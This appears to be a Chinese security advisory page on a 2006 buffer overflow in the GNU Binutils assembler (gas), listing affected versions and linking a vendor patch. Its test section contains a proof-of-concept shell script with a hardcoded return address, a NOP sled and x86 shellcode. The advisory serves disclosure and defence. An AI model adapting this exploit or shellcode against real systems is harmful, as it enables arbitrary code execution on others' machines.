首页 -> 安全研究

安全研究

安全漏洞
GNU BinUtils GAS缓冲区溢出漏洞

发布日期:2006-08-17
更新日期:2006-08-18

受影响系统:
Ubuntu Linux 5.10 powerpc
Ubuntu Linux 5.10 i386
Ubuntu Linux 5.10 amd64
Ubuntu Linux 5.0 4 powerpc
Ubuntu Linux 5.0 4 i386
Ubuntu Linux 5.0 4 amd64
GNU Binutils 2.16.1
GNU Binutils 2.15
GNU Binutils 2.14
GNU Binutils 2.12
GNU Binutils 2.11
描述:
BUGTRAQ  ID: 19555

GNU BinUtils是个二进制工具集,用于执行基本二进制文件操作。

GNU BinUtils的gas(GNU汇编器)中存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限s。

如果用户或自动系统受骗使用gcc或gas汇编了特制的源文件的话,就可能导致以执行用户权限执行任意指令。

<*来源:Tavis Ormandy (taviso@gentoo.org
        Martin Pitt (martin.pitt@canonical.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115583278731355&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/bin/sh
#
# gas overflow poc, <taviso@gentoo.org>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
            __asm__ (PAD RET NOP EGG);
}
__EOF__

建议:
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.gentoo.org/attachment.cgi?id=63736

浏览次数:3202
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障